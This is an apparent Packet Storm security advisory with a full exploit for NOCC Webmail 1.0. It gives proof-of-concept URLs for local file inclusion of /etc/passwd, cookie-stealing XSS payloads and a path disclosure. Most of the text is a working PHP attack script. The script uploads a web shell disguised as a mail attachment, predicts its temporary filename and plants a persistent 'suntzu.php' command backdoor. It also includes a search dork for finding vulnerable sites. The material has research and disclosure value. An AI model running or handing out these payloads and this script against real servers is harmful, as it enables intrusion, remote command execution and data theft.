noccw_10_incl_xpl.txt

2006-02-26T00:00:00
ID PACKETSTORM:44167
Type packetstorm
Reporter rgod
Modified 2006-02-26T00:00:00

Description

                                        
                                            `------ NOCC Webmail <= 1.0 multiple arbitrary local inclusion + ----------------  
php injection -> remote code execution /  
/ cross site scripting / path disclosure  
--------------------------------------------------------------------------------  
software:  
site: http://nocc.sourceforge.net/  
description: "NOCC is a webmail client written in PHP. It provides webmail  
access to IMAP and POP3 accounts."  
--------------------------------------------------------------------------------  
i) vulnerable code in html/footer.php at lines 2-11:  
...  
<?php  
$custom_footer = './themes/' . $_SESSION['nocc_theme'] . '/footer.php';  
if(file_exists($custom_footer)) {  
include($custom_footer);  
}  
else {  
?>  
<div class="footer">  
<a href="javascript:void(0);" onclick="window.open('http://nocc.sourceforge.net');">  
<img src="themes/<?php echo $_SESSION['nocc_theme'] ?>/img/button.png" class="footerLogo" alt="  
...  
  
if magic_quotes_gpc = Off and register_globals = On,  
arbitrary local inclusion, poc:  
  
without to be logged in:  
http://[target]/[path]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../etc/passwd%00  
  
also, if register_globals = On, cross site scripting:  
  
http://[target]/[path]/html/footer.php?_SESSION[nocc_theme]="><script>alert(document.cookie)</script>  
  
--------------------------------------------------------------------------------  
ii) vulnerable code in common.php at lines 87-118:  
  
...  
if(isset($_REQUEST['lang']))  
$_SESSION['nocc_lang'] = safestrip($_REQUEST['lang']);  
if(isset($_REQUEST['sort']))  
$_SESSION['nocc_sort'] = safestrip($_REQUEST['sort']);  
if(isset($_REQUEST['sortdir']))  
$_SESSION['nocc_sortdir'] = safestrip($_REQUEST['sortdir']);  
  
// Need to wait on the language before checking it  
$lang = $conf->default_lang;  
if(isset($_SESSION['nocc_lang']))  
$lang = $_SESSION['nocc_lang'];  
else {  
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && (!isset($conf->force_default_lang) || !$conf->force_default_lang)) {  
$ar_lang = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);  
while ($accept_lang = array_shift($ar_lang))  
{  
$tmp = explode(';', $accept_lang);  
$tmp[0] = strtolower($tmp[0]);  
if (file_exists('./lang/' . $tmp[0] . '.php'))  
{  
$lang = $tmp[0];  
break;  
}  
}  
} else {  
$lang = $conf->default_lang;  
}  
$_SESSION['nocc_lang'] = $lang;  
}  
  
// Import language translation variables  
require ('./lang/'. $lang.'.php');  
...  
  
arbitrary local inclusion poc:  
  
http://[target]/[path]/index.php?lang=../../../../../../../../../etc/passwd%00  
  
this works regardless of magic_quotes_gpc settings, because of nocc magic quotes  
disable code, look at the safestrip() function in functions.php at lines 925-930:  
  
...  
function safestrip(&$string)  
{  
if(get_magic_quotes_gpc())  
$string = stripslashes($string);  
return $string;  
}  
...  
  
safe? really not...  
  
  
also, regardless of magic_quotes_gpc settings and if in conf.php  
we have  
  
$conf->force_default_lang = false;  
  
(default value) you can exploit this issue through the "Accept-Language" field  
in an HTTP request to include an arbitrary php file from local resource, poc:  
  
GET [path]index.php HTTP/1.1  
Accept-Language: ../index  
Host: [somehost]  
Connection: Close  
--------------------------------------------------------------------------------  
iii)  
arbitrary local inclusion in "theme" argument, poc:  
  
regardless of any magic_quotes_gpc settings:  
  
http://[target]/[path]/index.php?theme=../../../../../../../../../etc/passwd%00  
http://[target]/[path]/index.php?theme=../../../../../../../../../boot.ini%00  
  
--------------------------------------------------------------------------------  
iv) remote code execution, there are two ways of execute arbitrary code on  
target system  
  
iv.1) uploading a malicious mail attachment:  
usually attachments are located in a temporary files folder, the path  
is defined in conf.php, by default no path is defined, but script suggests  
a 'tmp/' or 'c:\\temp' dir...  
also filenames are predictable, look at line 66 in send.php:  
  
...  
$tmp_name = $conf->tmpdir.'/'.basename($mail_att['tmp_name'] . time() . '.att');  
...  
  
filenames, usually are like this:  
  
phpA91.tmp1140601928.att  
  
generally:  
  
php[some hex value].tmp[unix epoch time].att  
  
this filename is predictable since Apache servers carry GMT time  
in "Date:" HTTP response field...  
a malicious script can catch this header , sending an HEAD request to the  
remote server and to itself, calculate the Greenwich timestamp difference  
then calculate the Unix epoch time by time() function locally then  
syncronize to the remote Unix epoch time, knowing the difference in  
seconds.  
  
Succeeded to include the evil file in (how?) about ten  
minutes, then to launch commands, ex:  
  
http://[target]/[path]/index.php?cmd=ls%20-la&lang=..%2ftmp%2fphpA91.tmp1140601928.att%00  
  
also, if temporary folder is not outside nocc path and not .htaccess protected,  
a remote user can switch to:  
  
http://[target]/[path]/tmp/  
  
to see the name of the uploaded attachment  
  
iv.2) including a "profile" file:  
"profiles" folder name is defined in conf.php, by default no path is  
defined but script suggests 'profiles/' or 'prefs\\'.  
  
Also you can inject php code in "full name" field when you set your profile  
and filenames are like this:  
  
rgod@somehost.com.pref  
  
so, if php code is like this:  
  
<?php passthru($_GET[cmd]);?>  
  
you launch commands:  
  
http://[target]/[path]/index.php?cmd=netstat%20-ano&lang=..%2fprofiles%2frgod@somehost.com.pref%00  
  
also...  
  
v) information disclosure, you can switch to:  
  
http://[target]/[path]/profiles/  
  
to see the filenames and to collect emails  
--------------------------------------------------------------------------------  
v) some xss:  
http://[target]/[path]/html/error.php?html_error_occurred=<script>alert(document.cookie)</script>  
http://[target]/[path]/html/filter_prefs.php?html_filter_select=<script>alert(document.cookie)</script>  
http://[target]/[path]/html/no_mail.php?html_no_mail=<script>alert(document.cookie)</script>  
http://[target]/[path]/html/html_bottom_table.php?page_line=<script>alert(document.cookie)</script>  
http://[target]/[path]/html/html_bottom_table.php?prev=<script>alert(document.cookie)</script>  
http://[target]/[path]/html/html_bottom_table.php?next=<script>alert(document.cookie)</script>  
--------------------------------------------------------------------------------  
vi) path disclosure:  
  
http://[target]/[path]/html/header.php  
--------------------------------------------------------------------------------  
exploit for iv.2):  
  
<?php  
# ---noccw_10_incl_xpl.php 8.22 23/02/2006 #  
# #  
# NOCC Webmail <= 1.0 remote commands execution exploit through arbitrary #  
# local inclusion & attachment filename prediction #  
# #  
# coded by rgod #  
# site: http://retrogod.altervista.org #  
# #  
# -> works regardless of any magic_quotes_gpc settings #  
# #  
# dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net #  
# -Zoekinalles.nl -analysis #  
# #  
# Sun-Tzu: "Knowing the place and the time of the coming battle, we may #  
# concentrate from the greatest distances in order to fight" #  
  
/* short explaination:  
we have various arbitrary local inclusion issues, ex:  
  
http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00  
http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00  
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00  
  
This code upload an evil mail attachment (file is renamed by NOCC...).  
After, it tries to include it, predicting its name and its location, ex:  
  
http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la  
http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la  
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00  
  
If succeeded, it installs a backdoor called suntzu.php on target server.  
  
To launch this exploit you need a POP3 account on a machine of your choice,  
you need to supply servername, username & password.  
  
a note:  
you can do the same manually and more quickly with profile files, if  
enabled, ex:  
edit your profile, then:  
  
http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00  
  
see the full advisory here: http://retrogod.altervista.org/noccw_10_incl_xpl.html  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",10);  
ob_implicit_flush (1);  
  
echo'<html><head><title> **** NOCC Webmail <= 1.0 remote commands execution ****  
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:  
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">  
**** NOCC Webmail <= 1.0 remote commands execution ****</p><p class="Stile6">a  
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">  
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">  
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input  
type="text" name="hOsT"> <span class="Stile5">* tArGeT (ex:www.sitename.com)  
</span></p> <p><input type="text" name="pAtH"> <span class="Stile5">* pAtH (ex:  
/nocc/ or just / ) </span> </p> <p> <input type="text" name="cmd"> <span  
class="Stile5"> * specify a command </span> </p> <p> <input type="text"  
name="POP3_SERVER"><span class="Stile5"> * a POP3 server </span> </p> <p><input  
type="text" name="USER"><span class="Stile5"> * USERNAME ...</span></p><p><input  
type="password" name="PASSWD"> <span class="Stile5"> * ... and PASSWORD to it  
</span></p><p><input type="text" name="PorT"><span class="Stile5">specify a PorT  
other than 80 (default value)</span> </p> <p> <input type="text" name="pRoXy">  
<span class="Stile5"> send exploit through an HTTP pRoXy (ip:PorT) </span> </p>  
<p><input type="submit" name="Submit" value="go!"></p></form></td></tr> </table>  
</body></html>';  
  
function show($headeri)  
{  
$ii=0;$ji=0;$ki=0;$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1){  
$dAtAi=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>  </td>";  
for ($li=0; $li<=15; $li++) {  
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($dAtAi)==1) {  
echo "<td>0".htmlentities($dAtAi)."</td>";  
}  
else {  
echo "<td>".htmlentities($dAtAi)."</td> ";  
}  
$ii++;$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {  
echo "<td>&nbsp&nbsp</td>";  
}  
for ($li=$ci*16; $li<=strlen($headeri); $li++) {  
echo "<td>".htmlentities($headeri[$li])."</td>";  
}  
echo "</tr></table>";  
}  
  
$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpAcKeT() //2x speed  
{  
global $pRoXy, $hOsT, $PorT, $pAcKeT, $HtMl, $pRoXy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";  
}  
else {  
$c = preg_match($pRoXy_regex,$pRoXy);  
if (!$c) {echo 'Not a valid proxy...';  
die;  
}  
echo "OK.<br>";  
echo "Attempting to connect to ".$hOsT." on PorT ".$PorT."...<br>";  
if ($pRoXy=='') {  
$result = socket_connect($socket, $hOsT, $PorT);  
}  
else {  
$parts =explode(':',$pRoXy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...<br>';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";  
}  
else {  
echo "OK.<br><br>";  
$HtMl= '';  
socket_write($socket, $pAcKeT, strlen($pAcKeT));  
echo "Reading response:<br>";  
while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}  
echo nl2br(htmlentities($HtMl));  
echo "Closing socket...";  
socket_close($socket);  
}  
}  
}  
  
function sendpAcKeTii($pAcKeT)  
{  
global $pRoXy, $hOsT, $PorT, $HtMl, $pRoXy_regex;  
if ($pRoXy=='') {  
$ock=fsockopen(gethOsTbyname($hOsT),$PorT);  
if (!$ock) {  
echo 'No response from '.htmlentities($hOsT); die;  
}  
}  
else {  
$c = preg_match($pRoXy_regex,$pRoXy);  
if (!$c) {  
echo 'Not a valid pRoXy...';die;  
}  
$parts=explode(':',$pRoXy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from pRoXy...';die;  
}  
}  
fputs($ock,$pAcKeT);  
if ($pRoXy=='') {  
$HtMl='';  
while (!feof($ock)) {  
$HtMl.=fgets($ock);  
}  
}  
else {  
$HtMl='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {  
$HtMl.=fread($ock,1);  
}  
}  
fclose($ock);  
// echo nl2br(htmlentities($HtMl));  
}  
  
function greenwich_timestamp($HtMl)  
{  
$temp=explode("Date: ",$HtMl);  
$temp2=explode("\r\n",$temp[1]);  
$is_now=$temp2[0];  
$temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);  
$hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];  
$tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',  
'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');  
for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}  
return mktime($hour,$min,$sec,$month,$day,$year);  
}  
  
if ( get_magic_quotes_gpc() ) {  
function stripslashes_deep($value) {  
$value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);  
return $value;  
}  
$_POST = stripslashes_deep($_POST);  
}  
  
$hOsT=$_POST[hOsT];$pAtH=$_POST[pAtH];$PorT=$_POST[PorT];  
$USER=$_POST[USER];$PASSWD=$_POST[PASSWD];$POP3_SERVER=$_POST[POP3_SERVER];  
$cmd=$_POST[cmd];  
echo "<span class=\"Stile5\">";  
if (($hOsT<>'') and ($pAtH<>'') and ($cmd<>''))  
{  
$PorT=intval(trim($PorT));  
if ($PorT=='') {$PorT=80;}  
if (($pAtH[0]<>'/') or ($pAtH[strlen($pAtH)-1]<>'/')) {echo 'Error... check the pAtH!'; die;}  
if ($pRoXy=='') {$p=$pAtH;} else {$p='http://'.$hOsT.':'.$PorT.$pAtH;}  
$hOsT=str_replace("\r","",$hOsT);$hOsT=str_replace("\n","",$hOsT);  
$pAtH=str_replace("\r","",$pAtH);$pAtH=str_replace("\n","",$pAtH);  
  
#STEP 0 -> Check if already succeeded on tArGeT hOsT...  
$subpAtH= array ('','html/');  
for ($i=0; $i<=count($subpAtH)-1; $i++)  
{  
$pAcKeT ="GET ".$p.$subpAtH[$i]."suntzu.php?cmd=".urlencode($cmd)." HTTP/1.1\r\n";  
$pAcKeT.="Host: ".$hOsT."\r\n";  
$pAcKeT.="Connection: Close\r\n\r\n";  
show($pAcKeT);  
sendpAcKeTii($pAcKeT);  
if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl));  
die("Exploit succeeded...");}  
}  
if (file_exists($hOsT.".txt"))  
{  
$f=fopen($hOsT.".txt","r");  
$XpL=fgets($f);  
fclose($f);  
$pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n";  
$pAcKeT.="hOsT: ".$hOsT."\r\n";  
$pAcKeT.="Connection: Close\r\n\r\n";  
show($pAcKeT);  
sendpAcKeTii($pAcKeT);  
if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl));  
die("Exploit succeeded...");}  
}  
}  
  
if (($hOsT<>'') and ($pAtH<>'') and ($cmd<>'') and ($POP3_SERVER<>'') and ($USER<>'') and ($PASSWD<>''))  
{  
$difftime=0;  
//syncrhonize with remote tArGeT Unin epoch time by Apache "Date:" response header  
//it carries GMT time... sending two HEAD requests, one to target, one to yourself  
if (eregi("Date: ",$HtMl))  
{  
$pAcKeT ="HEAD / HTTP/1.1\r\nhOsT: ".$hOsT."\r\nConnection: Close\r\n\r\n";  
sendpAcKeTii($pAcKeT);  
$itstime=greenwich_timestamp($HtMl);  
echo "tArGeT hOsT greenwich timestamp: ".$itstime."<br>";  
$pAcKeT=str_replace($hOsT,$_SERVER[SERVER_NAME],$pAcKeT);  
$fp=fsockopen($_SERVER[SERVER_NAME],$_SERVER[SERVER_PORT]);  
fputs($fp,$pAcKeT);$out='';  
while (!feof($fp)){  
$out.=fgets($fp);  
}  
fclose($fp);  
$mytime=greenwich_timestamp($out);  
echo "my greenwich timestamp: ".$mytime."<br>";  
$difftime= $itstime-$mytime;  
echo "difftime: ".$difftime."<br>";  
}  
#STEP 1 -> Login to a POP3 server that you choose to have access on NOCC interface  
$dAtA ="user=".$USER;  
$dAtA.="&domainnum=0";  
$dAtA.="&passwd=".$PASSWD;  
$dAtA.="&server=".$POP3_SERVER;  
$dAtA.="&port=110";  
$dAtA.="&servtype=pop3";  
$dAtA.="&lang=en";  
$dAtA.="&theme=standard";  
$dAtA.="&enter=Ok";  
$pAcKeT ="POST ".$p."action.php HTTP/1.1\r\n";  
$pAcKeT.="Referer: http://".$hOsT.$pAtH."\r\n";  
$pAcKeT.="Accept-Language: en\r\n";  
$pAcKeT.="Content-Type: application/x-www-form-urlencoded\r\n";  
$pAcKeT.="User-Agent: Sun-Tzu\r\n";  
$pAcKeT.="Host: ".$hOsT."\r\n";  
$pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";  
$pAcKeT.="Connection: Close\r\n";  
$pAcKeT.="Cache-Control: no-cache\r\n\r\n";  
$pAcKeT.=$dAtA;  
show($pAcKeT);  
sendpAcKeTii($pAcKeT);  
$temp=explode("Set-Cookie: ",$HtMl);  
$temp2=explode(" ",$temp[1]);  
$COOKIE=$temp2[0];  
$temp2=explode(" ",$temp[2]);  
$COOKIE.=" ".$temp2[0];  
echo "COOKIE -> ".htmlentities($COOKIE)."<BR>";  
  
#STEP 2 -> Upload the evil attachment...  
$action = array ('add', 'Attach'); //'action' name is different in some versions  
$found=0;  
for ($d=0; $d=count($action)-1; $d++)  
{  
$dAtA='-----------------------------7d630bc80618  
Content-Disposition: form-data; name="sort"  
  
1  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="sortdir"  
  
1  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="lang"  
  
en  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="action"  
  
write  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="sendaction"  
  
'.$action[$d].'  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="num_attach"  
  
0  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_from"  
  
fake@fakemail.com  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_to"  
  
  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_cc"  
  
  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_bcc"  
  
  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_subject"  
  
  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_att"; filename="C:\suntzuuuu.php"  
Content-Type: text/html  
  
<?php  
ob_clean();echo"Hi Master!";ini_set("max_execution_time",0);passthru($_GET[cmd]);  
$sun=fopen("suntzu.php","w");fputs($sun,"<?php ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[cmd]);");  
fclose($sun);chmod("suntzu.php",777);  
die;  
?>  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="priority"  
  
3 (Normal)  
-----------------------------7d630bc80618  
Content-Disposition: form-data; name="mail_body"  
  
  
-----------------------------7d630bc80618--';  
  
$pAcKeT ="POST ".$p."send.php HTTP/1.1\r\n";  
$pAcKeT.="Referer: http://".$hOsT.$pAtH."action.php?action=write&lang=en&sort=1&sortdir=1\r\n";  
$pAcKeT.="Accept-Language: en\r\n";  
$pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d630bc80618\r\n";  
$pAcKeT.="User-Agent: Sun-Tzu\r\n";  
$pAcKeT.="Host: ".$hOsT."\r\n";  
$pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";  
$pAcKeT.="Connection: Close\r\n";  
$pAcKeT.="Cache-Control: no-cache\r\n";  
$pAcKeT.="Cookie: ".$COOKIE."\r\n\r\n";  
$pAcKeT.=$dAtA;  
show($pAcKeT);  
$mytime=time()+$difftime;  
  
echo "predicting Unix epoch time on remote machine ->".$mytime."<br><br>";  
sendpAcKeTii($pAcKeT);  
  
if (eregi("suntzuuuu.php",$HtMl)) {$found=1; break;}  
}  
if ($found==0)  
{die("Failed to upload the attachment, maybe wrong pop3 details");}  
  
# STEP 3 Our routine... cycling to find the evil attachment and to launch commands...  
# ---------------------------------START----------------------------------------  
//guessing where $tmpdir can be..., add some values here if you want  
$tempdir= array (  
'tmp/',  
'../../../../../../../../../../../../../tmp/',  
'../../../../../../../../../../../../../temp/',  
'',  
'temp/',  
'../tmp/',  
'../../tmp/',  
'../../../tmp/',  
'../../../../tmp/',  
'../../../../../tmp/',  
'../../../../../../tmp/',  
'../../../../../../../tmp/'  
);  
//predicting time() substring in attachment filename  
$predict_time=  
array (  
$mytime,  
$mytime + 1,  
$mytime + 2,  
$mytime + 3  
);  
  
function refresh()  
{  
flush();  
ob_flush();  
usleep(10000);  
}  
$script= array (  
"index.php?lang=",  
"index.php?theme=",  
"html/footer.php?_SESSION[nocc_theme]=..%2F"  
);  
  
for ($y=1; $y<=65535; $y++) //some hex values in php temporary files  
{  
$a_value=strtoupper(dechex($y));  
for ($x=0; $x<=count($tempdir)-1; $x++) //for each possible file location  
{  
for ($z=0; $z<=count($predict_time) - 1; $z++) // for actual Unix epoch time, with +1,+2,+3  
{  
for($ww=0; $ww<=count($script)-1; $ww++) //for each vulnerable script  
{  
$XpL="../".$tempdir[$x]."php".$a_value.".tmp".$predict_time[$z].".att".chr(0x00);  
$XpL=urlencode($XpL);  
$XpL=$script[$ww].$XpL;  
$pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n";  
$pAcKeT.="Host: ".$hOsT."\r\n";  
$pAcKeT.="Connection: Close\r\n\r\n";  
echo "trying with http://".$hOsT.$pAtH.$XpL."<br>"; refresh();  
//show($pAcKeT);  
sendpAcKeTii($pAcKeT);  
if (eregi("Hi Master!",$HtMl))  
{ show($pAcKeT);  
echo nl2br(htmlentities($HtMl));  
$f=fopen($hOsT.".txt","w");  
fputs($f,$XpL);  
fclose($f);  
refresh();  
die("Exploit succeded... We tried to put a backdoor on tArGeT system, ************ <br>  
call this url: <br>  
http://".htmlentities($hOsT.$pAtH)."suntzu.php?&cmd=[your command] <br>  
or this: <br>  
http://".htmlentities($hOsT.$pAtH)."html/suntzu.php?&cmd=[your command] <br>  
however,if not succeeded, you can launch commands with this: <br>  
http://".htmlentities($hOsT.$pAtH.$XpL)."&cmd=[your command] <br>  
Also, we keep exploit url in ".htmlentities($hOsT).".txt, so you have not to <br>  
cycle anymore... <br>  
Enjoy! ***********************************************************************<br>  
");  
}  
}  
}  
}  
}  
//If you are here...  
echo "Exploit failed...";  
#-------------------------------END---------------------------------------------  
}  
else  
{echo "Fill * required fields, optionally specify a pRoXy...";}  
?>  
  
--------------------------------------------------------------------------------  
rgod  
  
site: http://retrogod.altervista.org  
mail: rgod at autistici org  
original adivsory: http://retrogod.altervista.org/noccw_10_incl_xpl.html  
--------------------------------------------------------------------------------  
  
  
`